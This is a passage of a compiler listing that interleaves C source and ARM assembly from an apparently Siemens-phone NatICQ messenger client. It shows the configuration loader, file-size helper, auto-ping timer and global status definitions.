R2,[R2, #+1688] 819 } \ 00000110 010080E2 ADD R0,R0,#+1 \ 00000114 040050E3 CMP R0,#+4 \ 00000118 0524C1E5 STRB R2,[R1, #+1029] \ 0000011C F5FFFFBA BLT ??UpdateConfig_2 820 821 Is_Unread_On=myConfMod->Is_Unread_On; \ 00000120 CC0899E5 LDR R0,[R9, #+2252] 822 823 //automessage setting 824 AUTO_ENGADE=myConfMod->AUTO_ENGADE;//time to away 825 Auto_Status=myConfMod->Auto_Status;//Включен автостатус или нет 826 time_zone=myConfMod->time_zone; 827 auto_x=myConfMod->auto_x; 828 auto_y=myConfMod->auto_y; 829 showAwayIdle=myConfMod->showAwayIdle; 830 sprintf(awayHelloMsg,per_s,myConfMod->awayHelloMsg);//hello msg \ 00000124 061087E0 ADD R1,R7,R6 \ 00000128 180186E5 STR R0,[R6, #+280] \ 0000012C 380A99E5 LDR R0,[R9, #+2616] \ 00000130 140186E5 STR R0,[R6, #+276] \ 00000134 C80999E5 LDR R0,[R9, #+2504] \ 00000138 340186E5 STR R0,[R6, #+308] \ 0000013C 680A99E5 LDR R0,[R9, #+2664] \ 00000140 380186E5 STR R0,[R6, #+312] \ 00000144 E00098E5 LDR R0,[R8, #+224] \ 00000148 200186E5 STR R0,[R6, #+288] \ 0000014C E40098E5 LDR R0,[R8, #+228] \ 00000150 240186E5 STR R0,[R6, #+292] \ 00000154 700098E5 LDR R0,[R8, #+112] \ 00000158 280186E5 STR R0,[R6, #+296] \ 0000015C 3C00A0E3 MOV R0,#+60 \ 00000160 F00E80E3 ORR R0,R0,#0xF00 \ 00000164 052080E0 ADD R2,R0,R5 \ 00000168 500087E3 ORR R0,R7,#0x50 \ 0000016C 060080E0 ADD R0,R0,R6 \ 00000170 160000EF SWI +22 831 snprintf(awayMsg,64,per_s,myConfMod->awayMsg);//message \ 00000174 F83E85E2 ADD R3,R5,#+3968 \ 00000178 062087E0 ADD R2,R7,R6 \ 0000017C 4010A0E3 MOV R1,#+64 \ 00000180 F20F81E2 ADD R0,R1,#+968 \ 00000184 060080E0 ADD R0,R0,R6 \ 00000188 1B0100EF SWI +283 832 Reset_timer=myConfMod->Reset_timer;//reset away timer on send message or key down \ 0000018C 000098E5 LDR R0,[R8, #+0] 833 834 //Online time on idle 835 onlineTime_x=myConfMod->onlineTime_x; 836 onlineTime_y=myConfMod->onlineTime_y; 837 Pause_Time=myConfMod->Pause_Time; 838 839 //setting ping 840 Ping_X=myConfMod->Ping_X; 841 Ping_Y=myConfMod->Ping_Y; 842 sprintf(pingsnd,per_s,myConf->pingsnd); \ 00000190 552D84E2 ADD R2,R4,#+5440 \ 00000194 540186E5 STR R0,[R6, #+340] \ 00000198 6C0799E5 LDR R0,[R9, #+1900] \ 0000019C 061087E0 ADD R1,R7,R6 \ 000001A0 2C0186E5 STR R0,[R6, #+300] \ 000001A4 700799E5 LDR R0,[R9, #+1904] \ 000001A8 300186E5 STR R0,[R6, #+304] \ 000001AC A00799E5 LDR R0,[R9, #+1952] \ 000001B0 1C0186E5 STR R0,[R6, #+284] \ 000001B4 680899E5 LDR R0,[R9, #+2152] \ 000001B8 DC0086E5 STR R0,[R6, #+220] \ 000001BC 6C0899E5 LDR R0,[R9, #+2156] \ 000001C0 E00086E5 STR R0,[R6, #+224] \ 000001C4 D10F87E2 ADD R0,R7,#+836 \ 000001C8 060080E0 ADD R0,R0,R6 \ 000001CC 160000EF SWI +22 843 ping_time_config=myConfMod->ping_time_config; \ 000001D0 9C0899E5 LDR R0,[R9, #+2204] 844 845 //setting last 5 message on idle 846 msg_d_x=myConfMod->msg_d_x; 847 msg_d_y=myConfMod->msg_d_y; 848 main_lenght=myConfMod->main_lenght; 849 use_cutter=myConfMod->use_cutter; 850 851 //player setting 852 sprintf(CsmAdr,per_s,myConfMod->CsmAdr);//csm mediaplayer \ 000001D4 061087E0 ADD R1,R7,R6 \ 000001D8 400186E5 STR R0,[R6, #+320] \ 000001DC B00599E5 LDR R0,[R9, #+1456] \ 000001E0 440186E5 STR R0,[R6, #+324] \ 000001E4 B40599E5 LDR R0,[R9, #+1460] \ 000001E8 480186E5 STR R0,[R6, #+328] \ 000001EC 440699E5 LDR R0,[R9, #+1604] \ 000001F0 4C0186E5 STR R0,[R6, #+332] \ 000001F4 740699E5 LDR R0,[R9, #+1652] \ 000001F8 500186E5 STR R0,[R6, #+336] \ 000001FC 1000A0E3 MOV R0,#+16 \ 00000200 5C0D80E3 ORR R0,R0,#0x1700 \ 00000204 052080E0 ADD R2,R0,R5 \ 00000208 440087E3 ORR R0,R7,#0x44 \ 0000020C 060080E0 ADD R0,R0,R6 \ 00000210 160000EF SWI +22 853 sprintf(playing,per_s,myConfMod->playing);//text before name song \ 00000214 E20E87E2 ADD R0,R7,#+3616 \ 00000218 052080E0 ADD R2,R0,R5 \ 0000021C 061087E0 ADD R1,R7,R6 \ 00000220 A90E86E2 ADD R0,R6,#+2704 \ 00000224 160000EF SWI +22 854 855 #ifdef ELKA 856 NumStatusToIconBar=myConfMod->NumStatusToIconBar; \ 00000228 5C0499E5 LDR R0,[R9, #+1116] 857 NumXStatusToIconBar=myConfMod->NumXStatusToIconBar; 858 ShowStatusIcon=myConfMod->ShowStatusIcon; 859 #endif 860 861 //setting xstatus 862 show_xstatus=myConfMod->show_xstatus; 863 IDLEICON_XX=myConfMod->IDLEICON_XX; 864 IDLEICON_YX=myConfMod->IDLEICON_YX; 865 866 //setting keys 867 LongRightAction=myConfMod->LongRightAction; 868 LongLeftAction=myConfMod->LongLeftAction; 869 ActionResh=myConfMod->ActionResh;//действие на # в контакт листе 870 #ifdef ELKA 871 //If action vol up && vol down button on elka 872 isVolUpButton=myConfMod->isVolUpButton; 873 isVolDownButton=myConfMod->isVolDownButton; 874 #endif 875 876 //other setting 877 sprintf(ignor_list,per_s,myConfMod->ignor_list); \ 0000022C 642D85E2 ADD R2,R5,#+6400 \ 00000230 580186E5 STR R0,[R6, #+344] \ 00000234 8C0499E5 LDR R0,[R9, #+1164] \ 00000238 061087E0 ADD R1,R7,R6 \ 0000023C 5C0186E5 STR R0,[R6, #+348] \ 00000240 A80299E5 LDR R0,[R9, #+680] \ 00000244 F00086E5 STR R0,[R6, #+240] \ 00000248 780399E5 LDR R0,[R9, #+888] \ 0000024C EC0086E5 STR R0,[R6, #+236] \ 00000250 280499E5 LDR R0,[R9, #+1064] \ 00000254 A80186E5 STR R0,[R6, #+424] \ 00000258 2C0499E5 LDR R0,[R9, #+1068] \ 0000025C AC0186E5 STR R0,[R6, #+428] \ 00000260 000099E5 LDR R0,[R9, #+0] \ 00000264 600186E5 STR R0,[R6, #+352] \ 00000268 900099E5 LDR R0,[R9, #+144] \ 0000026C 640186E5 STR R0,[R6, #+356] \ 00000270 000199E5 LDR R0,[R9, #+256] \ 00000274 940186E5 STR R0,[R6, #+404] \ 00000278 E00199E5 LDR R0,[R9, #+480] \ 0000027C FC0086E5 STR R0,[R6, #+252] \ 00000280 700199E5 LDR R0,[R9, #+368] \ 00000284 000186E5 STR R0,[R6, #+256] \ 00000288 990E86E2 ADD R0,R6,#+2448 \ 0000028C 160000EF SWI +22 878 show_send_info=myConfMod->show_send_info; \ 00000290 D80398E5 LDR R0,[R8, #+984] 879 880 Vibra_cc=myConfMod->Vibra_cc;//vibra remainder 881 882 unread_X=myConfMod->unread_X; 883 unread_Y=myConfMod->unread_Y; 884 885 //Screen Saver setting 886 screenSaverTime=myConfMod->screenSaverTime; 887 isScreenSaverEna=myConfMod->isScreenSaverEna; 888 889 890 //-------------------------------- 891 // ORIGINAL CONFIG 892 //-------------------------------- 893 UIN=myConf->UIN; 894 sprintf(PASS,per_s,myConf->PASS); \ 00000294 5C2084E2 ADD R2,R4,#+92 \ 00000298 900186E5 STR R0,[R6, #+400] \ 0000029C 340398E5 LDR R0,[R8, #+820] \ 000002A0 061087E0 ADD R1,R7,R6 \ 000002A4 D80086E5 STR R0,[R6, #+216] \ 000002A8 3C0999E5 LDR R0,[R9, #+2364] \ 000002AC E40086E5 STR R0,[R6, #+228] \ 000002B0 400999E5 LDR R0,[R9, #+2368] \ 000002B4 E80086E5 STR R0,[R6, #+232] \ 000002B8 DC0198E5 LDR R0,[R8, #+476] \ 000002BC 680186E5 STR R0,[R6, #+360] \ 000002C0 6C0198E5 LDR R0,[R8, #+364] \ 000002C4 2C8084E2 ADD R8,R4,#+44 \ 000002C8 6C0186E5 STR R0,[R6, #+364] \ 000002CC 000098E5 LDR R0,[R8, #+0] \ 000002D0 700186E5 STR R0,[R6, #+368] \ 000002D4 AA0E86E2 ADD R0,R6,#+2720 \ 000002D8 160000EF SWI +22 895 896 SORT_CLIST=myConf->SORT_CLIST; \ 000002DC 640598E5 LDR R0,[R8, #+1380] \ 000002E0 F80086E5 STR R0,[R6, #+248] 897 LOG_ALL=myConf->LOG_ALL; \ 000002E4 3C0C98E5 LDR R0,[R8, #+3132] \ 000002E8 840186E5 STR R0,[R6, #+388] 898 LOG_STATCH=myConf->LOG_STATCH; \ 000002EC 1C0D98E5 LDR R0,[R8, #+3356] \ 000002F0 880186E5 STR R0,[R6, #+392] 899 SHOW_ACTIVE=myConf->SHOW_ACTIVE; \ 000002F4 CC0B98E5 LDR R0,[R8, #+3020] \ 000002F8 780186E5 STR R0,[R6, #+376] \ 000002FC 7000A0E3 MOV R0,#+112 \ 00000300 400D80E3 ORR R0,R0,#0x1000 \ 00000304 049080E0 ADD R9,R0,R4 \ 00000308 600099E5 LDR R0,[R9, #+96] \ 0000030C 7C0186E5 STR R0,[R6, #+380] 900 VIBR_TYPE=myConf->VIBR_TYPE; 901 VIBR_ON_CONNECT=myConf->VIBR_ON_CONNECT; \ 00000310 D00099E5 LDR R0,[R9, #+208] \ 00000314 740186E5 STR R0,[R6, #+372] 902 DEVELOP_IF=myConf->DEVELOP_IF; \ 00000318 B40498E5 LDR R0,[R8, #+1204] \ 0000031C 800186E5 STR R0,[R6, #+384] 903 FIRST_LETTER=myConf->FIRST_LETTER; \ 00000320 D40598E5 LDR R0,[R8, #+1492] 904 905 HISTORY_TYPE=myConf->HISTORY_TYPE; 906 907 908 sprintf(HIST_PATH,per_s,myConf->HIST_PATH); \ 00000324 732F84E2 ADD R2,R4,#+460 \ 00000328 8C0186E5 STR R0,[R6, #+396] \ 0000032C AC0C98E5 LDR R0,[R8, #+3244] \ 00000330 061087E0 ADD R1,R7,R6 \ 00000334 980186E5 STR R0,[R6, #+408] \ 00000338 EC00A0E3 MOV R0,#+236 \ 0000033C D00E80E3 ORR R0,R0,#0xD00 \ 00000340 060080E0 ADD R0,R0,R6 \ 00000344 160000EF SWI +22 909 sprintf(NATICQ_HOST,per_s,myConf->NATICQ_HOST); \ 00000348 C02084E2 ADD R2,R4,#+192 \ 0000034C 061087E0 ADD R1,R7,R6 \ 00000350 2C00A0E3 MOV R0,#+44 \ 00000354 E00E80E3 ORR R0,R0,#0xE00 \ 00000358 060080E0 ADD R0,R0,R6 \ 0000035C 160000EF SWI +22 910 NATICQ_PORT=myConf->NATICQ_PORT; \ 00000360 400198E5 LDR R0,[R8, #+320] 911 RECONNECT_TIME=myConf->RECONNECT_TIME; //2058 912 913 vibraPower=myConf->vibraPower; 914 915 IDLEICON_X=myConf->IDLEICON_X; 916 IDLEICON_Y=myConf->IDLEICON_Y; 917 918 I_COLOR=myConf->I_COLOR; 919 TO_COLOR=myConf->TO_COLOR; 920 X_COLOR=myConf->X_COLOR; 921 O_I_COLOR=myConf->O_I_COLOR; 922 O_TO_COLOR=myConf->O_TO_COLOR; 923 O_X_COLOR=myConf->O_X_COLOR; 924 925 ED_FONT_SIZE=myConf->ED_FONT_SIZE; 926 ED_H_FONT_SIZE=myConf->ED_H_FONT_SIZE; 927 ED_X_FONT_SIZE=myConf->ED_X_FONT_SIZE; 928 O_ED_FONT_SIZE=myConf->O_ED_FONT_SIZE; 929 O_ED_H_FONT_SIZE=myConf->O_ED_H_FONT_SIZE; 930 O_ED_X_FONT_SIZE=myConf->O_ED_X_FONT_SIZE; 931 932 ACK_COLOR=myConf->ACK_COLOR; 933 UNACK_COLOR=myConf->UNACK_COLOR; 934 935 color_choose=myConf->color_choose; 936 937 ENA_AUTO_XTXT=myConf->ENA_AUTO_XTXT; 938 NOT_LOG_SAME_XTXT=myConf->NOT_LOG_SAME_XTXT; 939 LOG_XTXT=myConf->LOG_XTXT; 940 941 HISTORY_BUFFER=myConf->HISTORY_BUFFER; 942 943 //Illumination by BoBa 19.04.2007 944 /////////// 945 ILL_DISP_RECV=myConf->ILL_DISP_RECV; 946 ILL_KEYS_RECV=myConf->ILL_KEYS_RECV; 947 ILL_DISP_SEND=myConf->ILL_DISP_SEND; 948 ILL_KEYS_SEND=myConf->ILL_KEYS_SEND; 949 ILL_SEND_TMR=myConf->ILL_SEND_TMR; 950 ILL_SEND_FADE=myConf->ILL_SEND_FADE; 951 ILL_RECV_TMR=myConf->ILL_RECV_TMR; 952 ILL_RECV_FADE=myConf->ILL_RECV_FADE; 953 ILL_OFF_FADE=myConf->ILL_OFF_FADE; 954 955 //=============================Проигрывание звука======================= 956 957 sprintf(sndStartup,per_s,myConf->sndStartup); \ 00000364 061087E0 ADD R1,R7,R6 \ 00000368 240286E5 STR R0,[R6, #+548] \ 0000036C 700198E5 LDR R0,[R8, #+368] \ 00000370 280286E5 STR R0,[R6, #+552] \ 00000374 300099E5 LDR R0,[R9, #+48] \ 00000378 9C0186E5 STR R0,[R6, #+412] \ 0000037C 800498E5 LDR R0,[R8, #+1152] \ 00000380 A00186E5 STR R0,[R6, #+416] \ 00000384 840498E5 LDR R0,[R8, #+1156] \ 00000388 A40186E5 STR R0,[R6, #+420] \ 0000038C 700698E5 LDR R0,[R8, #+1648] \ 00000390 B00186E5 STR R0,[R6, #+432] \ 00000394 A00698E5 LDR R0,[R8, #+1696] \ 00000398 B40186E5 STR R0,[R6, #+436] \ 0000039C D00698E5 LDR R0,[R8, #+1744] \ 000003A0 B80186E5 STR R0,[R6, #+440] \ 000003A4 900798E5 LDR R0,[R8, #+1936] \ 000003A8 BC0186E5 STR R0,[R6, #+444] \ 000003AC C00798E5 LDR R0,[R8, #+1984] \ 000003B0 C00186E5 STR R0,[R6, #+448] \ 000003B4 F00798E5 LDR R0,[R8, #+2032] \ 000003B8 C40186E5 STR R0,[R6, #+452] \ 000003BC 000798E5 LDR R0,[R8, #+1792] \ 000003C0 C80186E5 STR R0,[R6, #+456] \ 000003C4 300798E5 LDR R0,[R8, #+1840] \ 000003C8 CC0186E5 STR R0,[R6, #+460] \ 000003CC 600798E5 LDR R0,[R8, #+1888] \ 000003D0 D00186E5 STR R0,[R6, #+464] \ 000003D4 200898E5 LDR R0,[R8, #+2080] \ 000003D8 D40186E5 STR R0,[R6, #+468] \ 000003DC 500898E5 LDR R0,[R8, #+2128] \ 000003E0 D80186E5 STR R0,[R6, #+472] \ 000003E4 800898E5 LDR R0,[R8, #+2176] \ 000003E8 DC0186E5 STR R0,[R6, #+476] \ 000003EC B00898E5 LDR R0,[R8, #+2224] \ 000003F0 E00186E5 STR R0,[R6, #+480] \ 000003F4 E00898E5 LDR R0,[R8, #+2272] \ 000003F8 E40186E5 STR R0,[R6, #+484] \ 000003FC 100998E5 LDR R0,[R8, #+2320] \ 00000400 D40086E5 STR R0,[R6, #+212] \ 00000404 FC0D98E5 LDR R0,[R8, #+3580] \ 00000408 E80186E5 STR R0,[R6, #+488] \ 0000040C 6C0E98E5 LDR R0,[R8, #+3692] \ 00000410 EC0186E5 STR R0,[R6, #+492] \ 00000414 8C0D98E5 LDR R0,[R8, #+3468] \ 00000418 F00186E5 STR R0,[R6, #+496] \ 0000041C DC0E98E5 LDR R0,[R8, #+3804] \ 00000420 F40186E5 STR R0,[R6, #+500] \ 00000424 980998E5 LDR R0,[R8, #+2456] \ 00000428 F80186E5 STR R0,[R6, #+504] \ 0000042C C80998E5 LDR R0,[R8, #+2504] \ 00000430 FC0186E5 STR R0,[R6, #+508] \ 00000434 580A98E5 LDR R0,[R8, #+2648] \ 00000438 040286E5 STR R0,[R6, #+516] \ 0000043C 880A98E5 LDR R0,[R8, #+2696] \ 00000440 080286E5 STR R0,[R6, #+520] \ 00000444 B80A98E5 LDR R0,[R8, #+2744] \ 00000448 0C0286E5 STR R0,[R6, #+524] \ 0000044C E80A98E5 LDR R0,[R8, #+2792] \ 00000450 100286E5 STR R0,[R6, #+528] \ 00000454 F80998E5 LDR R0,[R8, #+2552] \ 00000458 000286E5 STR R0,[R6, #+512] \ 0000045C 280A98E5 LDR R0,[R8, #+2600] \ 00000460 140286E5 STR R0,[R6, #+532] \ 00000464 180B98E5 LDR R0,[R8, #+2840] \ 00000468 180286E5 STR R0,[R6, #+536] \ 0000046C 4C00A0E3 MOV R0,#+76 \ 00000470 480D80E3 ORR R0,R0,#0x1200 \ 00000474 042080E0 ADD R2,R0,R4 \ 00000478 7A0E40E2 SUB R0,R0,#+1952 \ 0000047C 060080E0 ADD R0,R0,R6 \ 00000480 160000EF SWI +22 958 sprintf(sndSrvMsg,per_s,myConf->sndSrvMsg); \ 00000484 990E87E2 ADD R0,R7,#+2448 \ 00000488 042080E0 ADD R2,R0,R4 \ 0000048C 061087E0 ADD R1,R7,R6 \ 00000490 710F87E2 ADD R0,R7,#+452 \ 00000494 060080E0 ADD R0,R0,R6 \ 00000498 160000EF SWI +22 959 sprintf(sndGlobal,per_s,myConf->sndGlobal); \ 0000049C 2400A0E3 MOV R0,#+36 \ 000004A0 4C0D80E3 ORR R0,R0,#0x1300 \ 000004A4 042080E0 ADD R2,R0,R4 \ 000004A8 061087E0 ADD R1,R7,R6 \ 000004AC 810F87E3 ORR R0,R7,#0x204 \ 000004B0 060080E0 ADD R0,R0,R6 \ 000004B4 160000EF SWI +22 960 sprintf(sndGlobal2,per_s,myConf->sndGlobal2); \ 000004B8 B40E87E2 ADD R0,R7,#+2880 \ 000004BC 042080E0 ADD R2,R0,R4 \ 000004C0 061087E0 ADD R1,R7,R6 \ 000004C4 910F87E3 ORR R0,R7,#0x244 \ 000004C8 060080E0 ADD R0,R0,R6 \ 000004CC 160000EF SWI +22 961 sprintf(sndMsg,per_s,myConf->sndMsg); \ 000004D0 9000A0E3 MOV R0,#+144 \ 000004D4 4C0D80E3 ORR R0,R0,#0x1300 \ 000004D8 042080E0 ADD R2,R0,R4 \ 000004DC 061087E0 ADD R1,R7,R6 \ 000004E0 A10F87E3 ORR R0,R7,#0x284 \ 000004E4 060080E0 ADD R0,R0,R6 \ 000004E8 160000EF SWI +22 962 sprintf(sndMsg2,per_s,myConf->sndMsg2); \ 000004EC D400A0E3 MOV R0,#+212 \ 000004F0 500D80E3 ORR R0,R0,#0x1400 \ 000004F4 042080E0 ADD R2,R0,R4 \ 000004F8 061087E0 ADD R1,R7,R6 \ 000004FC B10F87E3 ORR R0,R7,#0x2C4 \ 00000500 060080E0 ADD R0,R0,R6 \ 00000504 160000EF SWI +22 963 extended_sounds=myConf->extended_sounds; \ 00000508 6C0199E5 LDR R0,[R9, #+364] 964 sprintf(sndMsgSent,per_s,myConf->sndMsgSent); \ 0000050C 061087E0 ADD R1,R7,R6 \ 00000510 1C0286E5 STR R0,[R6, #+540] \ 00000514 FC00A0E3 MOV R0,#+252 \ 00000518 4C0D80E3 ORR R0,R0,#0x1300 \ 0000051C 042080E0 ADD R2,R0,R4 \ 00000520 7D0E40E2 SUB R0,R0,#+2000 \ 00000524 060080E0 ADD R0,R0,R6 \ 00000528 160000EF SWI +22 965 sndVolume=myConf->sndVolume; \ 0000052C 000099E5 LDR R0,[R9, #+0] 966 967 //----------------------------------------- 968 969 vibraPower=myConf->vibraPower; 970 971 sprintf(TEMPLATES_PATH,per_s,myConf->TEMPLATES_PATH); \ 00000530 FA2F84E2 ADD R2,R4,#+1000 \ 00000534 200286E5 STR R0,[R6, #+544] \ 00000538 300099E5 LDR R0,[R9, #+48] \ 0000053C 061087E0 ADD R1,R7,R6 \ 00000540 9C0186E5 STR R0,[R6, #+412] \ 00000544 F10F87E2 ADD R0,R7,#+964 \ 00000548 060080E0 ADD R0,R0,R6 \ 0000054C 160000EF SWI +22 972 sprintf(ICON_PATH,per_s,myConf->ICON_PATH); \ 00000550 C42F84E2 ADD R2,R4,#+784 \ 00000554 061087E0 ADD R1,R7,R6 \ 00000558 2C00A0E3 MOV R0,#+44 \ 0000055C D00E80E3 ORR R0,R0,#0xD00 \ 00000560 060080E0 ADD R0,R0,R6 \ 00000564 160000EF SWI +22 973 sprintf(SMILE_FILE,per_s,myConf->SMILE_FILE); \ 00000568 8E2F84E2 ADD R2,R4,#+568 \ 0000056C 061087E0 ADD R1,R7,R6 \ 00000570 E10F87E2 ADD R0,R7,#+900 \ 00000574 060080E0 ADD R0,R0,R6 \ 00000578 160000EF SWI +22 974 sprintf(SMILE_PATH,per_s,myConf->SMILE_PATH); \ 0000057C A92F84E2 ADD R2,R4,#+676 \ 00000580 061087E0 ADD R1,R7,R6 \ 00000584 6C00A0E3 MOV R0,#+108 \ 00000588 D00E80E3 ORR R0,R0,#0xD00 \ 0000058C 060080E0 ADD R0,R0,R6 \ 00000590 160000EF SWI +22 975 sprintf(XSTATUSES_PATH,per_s,myConf->XSTATUSES_PATH); \ 00000594 DF2F84E2 ADD R2,R4,#+892 \ 00000598 061087E0 ADD R1,R7,R6 \ 0000059C AC00A0E3 MOV R0,#+172 \ 000005A0 D00E80E3 ORR R0,R0,#0xD00 \ 000005A4 060080E0 ADD R0,R0,R6 \ 000005A8 160000EF SWI +22 976 977 978 //----------------------------------------- 979 980 mfree(myConf); \ 000005AC 0400A0E1 MOV R0,R4 \ 000005B0 150000EF SWI +21 981 mfree(myConfMod); \ 000005B4 0500A0E1 MOV R0,R5 \ 000005B8 150000EF SWI +21 \ 000005BC F083BDE8 POP {R4-R9,PC} 982 } 983 else 984 { 985 LockSched(); \ ??UpdateConfig_1: \ 000005C0 460100EF SWI +326 986 ShowMSG(1,(int)"Can't open configs!"); \ 000005C4 241087E2 ADD R1,R7,#+36 \ 000005C8 0100A0E3 MOV R0,#+1 \ 000005CC 480100EF SWI +328 987 UnlockSched(); \ 000005D0 470100EF SWI +327 988 void ElfKiller(void); 989 SUBPROC((void *)ElfKiller); \ 000005D4 ........ LDR R0,??DataTable1 ;; ElfKiller \ 000005D8 710100EF SWI +369 990 } 991 } \ 000005DC F083BDE8 POP {R4-R9,PC} ;; return \ ??UpdateConfig_0: \ 000005E0 ........ DC32 `?` 992 993 //--------------------------------------------------------------------// 994 //--------------------------------------------------------------------// 995 //--------------------------------------------------------------------// 996 \ In segment CODE, align 4, keep-with-next 997 int get_file_size(char* fname) 998 { \ get_file_size: \ 00000000 00402DE9 PUSH {LR} \ 00000004 2CD04DE2 SUB SP,SP,#+44 999 unsigned int err; 1000 FSTATS fs; 1001 if ((GetFileStats(fname,&fs,&err))==-1) return 0; \ 00000008 0D20A0E1 MOV R2,SP \ 0000000C 04108DE2 ADD R1,SP,#+4 \ 00000010 840000EF SWI +132 \ 00000014 010070E3 CMN R0,#+1 1002 return (fs.size); \ 00000018 08009D15 LDRNE R0,[SP, #+8] \ 0000001C 2CD08DE2 ADD SP,SP,#+44 \ 00000020 0000A003 MOVEQ R0,#+0 \ 00000024 0080BDE8 POP {PC} ;; return 1003 } 1004 1005 extern int *XStatusesIconArray; 1006 1007 #ifndef NEWSGOLD 1008 #define SEND_TIMER 1009 #endif 1010 1011 #ifdef ELKA 1012 #pragma swi_number=54 1013 __swi __arm void SLI_SetState(unsigned char state); 1014 #endif 1015 1016 #define IN_TICKS(sec) (sec * TMR_SECOND) 1017 1018 int main_d; 1019 int align=0; 1020 //int space=1; 1021 void *canvasdata; 1022 int paused_height; 1023 WSHDR *wsBuffer;//мультибуффер 1024 1025 char talk_sound[128]; 1026 int uins; 1027 //char m_1[]="unofficial! private use only"; 1028 //char m_2[]="mod by (c)Evilfox 315384924"; 1029 char unread_msg_info[64]; 1030 1031 int saver_on; 1032 1033 #ifdef NEWSGOLD 1034 extern char teast2[256]; 1035 #endif 1036 1037 #ifdef ELKA 1038 char last_msg_buffer[4048]; 1039 #endif 1040 1041 1042 ///////////////////////////////////////////////auto ping//////////////////// 1043 GBSTMR mytmr3; 1044 static void PingToServer2(void) 1045 { 1046 TPKT *p; 1047 p=malloc(sizeof(PKT)+sizeof(TTime)); 1048 GetDateTime(NULL,(TTime *)p->data); 1049 p->pkt.uin=0; 1050 p->pkt.type=T_ECHO; 1051 p->pkt.data_len=sizeof(TTime); 1052 SUBPROC((void *)SendAnswer,0,p); 1053 } 1054 1055 int Is_PING_On; 1056 \ In segment CODE, align 4, keep-with-next 1057 void Pinger2() 1058 { 1059 if(Is_PING_On) \ Pinger2: \ 00000000 ........ LDR R0,??DataTable19 ;; S_ICONS \ 00000004 70402DE9 PUSH {R4-R6,LR} \ 00000008 ........ LDR R5,??DataTable3 ;; Pinger2 \ 0000000C BC10A0E3 MOV R1,#+188 \ 00000010 7C1D81E3 ORR R1,R1,#0x1F00 \ 00000014 004081E0 ADD R4,R1,R0 \ 00000018 480290E5 LDR R0,[R0, #+584] \ 0000001C 000050E3 CMP R0,#+0 \ 00000020 1500000A BEQ ??Pinger2_0 1060 { 1061 PingToServer2(); \ 00000024 1000A0E3 MOV R0,#+16 \ 00000028 140000EF SWI +20 \ 0000002C 0060A0E1 MOV R6,R0 \ 00000030 081086E2 ADD R1,R6,#+8 \ 00000034 0000A0E3 MOV R0,#+0 \ 00000038 B40000EF SWI +180 \ 0000003C 0000A0E3 MOV R0,#+0 \ 00000040 000086E5 STR R0,[R6, #+0] \ 00000044 1200A0E3 MOV R0,#+18 \ 00000048 B400C6E1 STRH R0,[R6, #+4] \ 0000004C 0800A0E3 MOV R0,#+8 \ 00000050 B600C6E1 STRH R0,[R6, #+6] \ 00000054 ........ LDR R0,??DataTable4 ;; SendAnswer \ 00000058 0620A0E1 MOV R2,R6 \ 0000005C 0010A0E3 MOV R1,#+0 \ 00000060 710100EF SWI +369 1062 GBS_StartTimerProc(&mytmr3, 12960, Pinger2); \ 00000064 0520A0E1 MOV R2,R5 \ 00000068 A010A0E3 MOV R1,#+160 \ 0000006C C81D81E3 ORR R1,R1,#0x3200 \ 00000070 0400A0E1 MOV R0,R4 \ 00000074 4D0000EF SWI +77 \ 00000078 7080BDE8 POP {R4-R6,PC} 1063 } 1064 else 1065 GBS_StartTimerProc(&mytmr3, 2160, Pinger2); \ ??Pinger2_0: \ 0000007C 0520A0E1 MOV R2,R5 \ 00000080 871EA0E3 MOV R1,#+2160 \ 00000084 0400A0E1 MOV R0,R4 \ 00000088 4D0000EF SWI +77 1066 } \ 0000008C 7080BDE8 POP {R4-R6,PC} ;; return 1067 1068 //////////////////////////////////////auto ping///////////////////////////// 1069 1070 extern volatile int total_smiles; 1071 extern volatile int total_xstatuses; 1072 extern volatile int xstatuses_load; 1073 extern volatile int pictures_max; //2026rev 1074 extern volatile int pictures_loaded; //2026rev 1075 1076 #ifdef ELKA 1077 int Is_SLI_On;//мигаем светодиодом 1078 #endif 1079 1080 int Is_SMARTCPU_On;//Вывод сообщений на гэ 1081 int Is_INC_On;//Popup message 1082 int Is_ILU_On;//Режим подсветки 1083 int Is_Double_Vibra_On;//Режим напоминания 1084 int total_unread; 1085 int total_unread2; 1086 1087 #ifdef ELKA \ In segment DATA_C, align 4, align-sorted 1088 const int SLI_TYPE=1; \ SLI_TYPE: \ 00000000 01000000 DC32 1 1089 #endif 1090 1091 char PINGO[256]; 1092 1093 #ifdef ELKA 1094 extern const unsigned int SLI_time; 1095 extern const unsigned int SLI_time2; 1096 #endif 1097 #define USE_MLMENU 1098 1099 #define TMR_SECOND 216 1100 1101 //IPC 1102 const char ipc_my_name[32]=IPC_NATICQ_NAME; 1103 const char ipc_xtask_name[]=IPC_XTASK_NAME; 1104 const char ipc_test_name[]="test"; 1105 IPC_REQ gipc; 1106 1107 1108 char elf_path[256]; 1109 int maincsm_id; 1110 int maingui_id; 1111 \ In segment CODE, align 4, keep-with-next 1112 void SMART_REDRAW(void) 1113 { \ SMART_REDRAW: \ 00000000 10402DE9 PUSH {R4,LR} 1114 int f; 1115 LockSched(); \ 00000004 460100EF SWI +326 1116 f=IsGuiOnTop(maingui_id); \ 00000008 1C009FE5 LDR R0,??SMART_REDRAW_0 ;; S_ICONS + 616 \ 0000000C 000090E5 LDR R0,[R0, #+0] \ 00000010 350100EF SWI +309 \ 00000014 0040A0E1 MOV R4,R0 1117 UnlockSched(); \ 00000018 470100EF SWI +327 1118 if (f) REDRAW(); \ 0000001C 000054E3 CMP R4,#+0 \ 00000020 1080BD08 POPEQ {R4,PC} \ 00000024 720100EF SWI +370 1119 } \ 00000028 1080BDE8 POP {R4,PC} ;; return \ ??SMART_REDRAW_0: \ 0000002C ........ DC32 S_ICONS + 616 1120 1121 //По 10 секунд 1122 #define ACTIVE_TIME 360 1123 1124 //Максимальное количество сообщений в логе 1125 #define MAXLOGMSG (20) 1126 1127 // Строковые описания статусов 1128 1129 const char S_OFFLINE[]="Offline"; 1130 const char S_INVISIBLE[]="Invisible"; 1131 const char S_AWAY[]="Away"; 1132 const char S_NA[]="N/A"; 1133 const char S_OCCUPIED[]="Occupied"; 1134 const char S_DND[]="DND"; 1135 const char S_ONLINE[]="Online"; 1136 const char S_FFC[]="FFC"; 1137 1138 volatile int SENDMSGCOUNT; 1139 #ifdef kluchnik 1140 int IsActiveUp=1; 1141 #else 1142 int IsActiveUp=0; 1143 #endif 1144 int Is_Vibra_Enabled; 1145 int Is_Id3tag_Enabled; 1146 unsigned int Is_Sounds_Enabled; 1147 int Is_Show_Offline; 1148 int Is_Show_Groups; 1149 1150 int S_ICONS[TOTAL_ICONS+1]; 1151 